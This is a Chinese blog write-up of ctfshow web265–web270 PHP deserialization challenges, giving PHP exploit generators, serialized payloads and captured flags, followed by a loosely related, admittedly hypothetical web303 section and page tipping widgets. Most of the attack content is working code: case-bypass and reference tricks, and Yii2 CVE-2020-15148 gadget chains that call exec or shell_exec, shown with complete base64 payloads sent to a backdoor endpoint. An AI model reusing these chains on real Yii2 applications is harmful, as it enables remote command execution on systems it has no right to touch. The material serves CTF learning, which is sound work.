ctfshow-web入门-反序列化(web265-web270)

目录

1、web265

2、web266

3、web267

4、web268

5、web269

6、web270


1、web265

很简单的一个判断,满足 $this->token===$this->password; 即可

由于 $ctfshow->token=md5(mt_rand()) 会将 token 随机为一个 md5 值,我们使用 & 绕一下,让两个参数恒等

exp:

<?php
class ctfshowAdmin
{
    public $token;
    public $password;

    public function __construct($t, $p)
    {
        $this->token = $t;
        $this->password = $p;
    }
}

$c = new ctfshowAdmin(1,2);
$c->token = &$c->password;
echo serialize($c);
?>

payload:

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}

拿到 flag:ctfshow{11cbda99-2f50-42bb-89f9-d9b08318d448}

2、web266

__destruct() 在对象被销毁时会自动调用,我们只需要让 ctfshow 类正确被反序列化即可,但是直接传 ctfshow 会被检测,之后就会抛出异常,如果程序报错或者抛出异常就不会触发 __destruct() 了,因为 throw 那个函数回收了自动销毁的类,导致 __destruct() 检测不到有东西销毁,从而也就无法触发 __destruct()。

这里正则匹配大小写敏感,因此可以采用大小写绕过

exp:

<?php
class Ctfshow
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
}
$c = new Ctfshow();
echo serialize($c);

payload:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

bp 重放或者 raw 模式下使用 hackbar,不然可能没回显

拿到 flag:ctfshow{cd17da6b-75f5-4cfc-b792-39bb72724740}

当然我们可以强行先触发它的 GC 回收来抛出异常,唤醒  __destruct() 魔术方法

触发方式有两种:对象被 unset() 处理时;数组对象为 NULL 时

这里采用第二种方式

exp:

<?php

class ctfshow
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
}
$c = new ctfshow();
$m = array($c,0);
echo serialize($m);

payload:

a:2:{i:0;O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}i:1;i:0;}

3、web267

admin/admin 可以登录

提示 get 请求 view-source 

///backdoor/shell
unserialize(base64_decode($_GET['code']))

Yii 的一个 CVE:CVE-2020-15148

用现成的 poc 打:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';	
            $this->id = 'cat /f* > my6n.txt';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE4OiJjYXQgL2YqID4gbXk2bi50eHQiO31pOjE7czozOiJydW4iO319fX0

 

访问 my6n.txt 即可看到 flag 

4、web268

上一题的 poc 打不通了,换一个

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* my6n.txt');
    echo(base64_encode(serialize($exp)));
}

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIG15Nm4udHh0Ijt9aToxO3M6MzoicnVuIjt9fX0

拿到 flag:ctfshow{f5b30e4e-16e1-4fb2-ad07-c75c6c069453}

5、web269

同上,payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIG15Nm4udHh0Ijt9aToxO3M6MzoicnVuIjt9fX0

6、web270

payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIG15Nm4udHh0Ijt9aToxO3M6MzoicnVuIjt9fX0

### CTFShow Web 入门 代码审计 web303 解题思路 对于CTFShow平台上Web入门级代码审计题目web303,虽然具体细节未直接提及于提供的参考资料中,但从其他相似题目的解析中可以获得一些通用的解题方法和技术。 #### 题目背景理解 通常这类题目涉及的是对给定PHP或其他服务器端脚本语言编写的程序进行静态分析。目的是找出潜在的安全漏洞,比如SQL注入、命令执行、文件包含等常见问题[^1]。 #### 审计重点 - **输入验证不足**:检查是否存在未经充分过滤就使用的用户输入数据。 - **不安全的对象反序列化**:注意是否有对象被序列化存储在cookie或session中,并且这些对象会在后续操作里被反序列化处理[^3]。 - **弱加密算法应用不当**:如果涉及到加解密逻辑,则需评估所采用的方法是否足够强壮以及实现方式上有没有缺陷[^5]。 #### 实际案例模拟 假设`web303.php`中有如下片段: ```php <?php class User { public $role; } if (isset($_COOKIE['user'])) { $user = unserialize(base64_decode($_COOKIE['user'])); } else { setcookie('user', base64_encode(serialize(new User()))); } ``` 这段代码存在明显的安全隐患——它允许攻击者构造恶意payload并通过设置特定格式的Cookie来控制变量 `$user->role` 的值,进而可能获得管理员权限或者其他敏感功能访问权。 为了利用这一点,可以创建一个新的 `User` 类实例并将属性设为期望的状态(例如将角色更改为admin),之后将其序列化再经过Base64编码作为新的Cookie发送请求即可完成提权过程。 #### 测试与验证 使用Burp Suite之类的代理工具拦截HTTP流量,在Cookies部分修改对应项的内容为精心设计后的字符串表示形式,提交后观察响应变化确认漏洞的存在与否及其影响范围。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值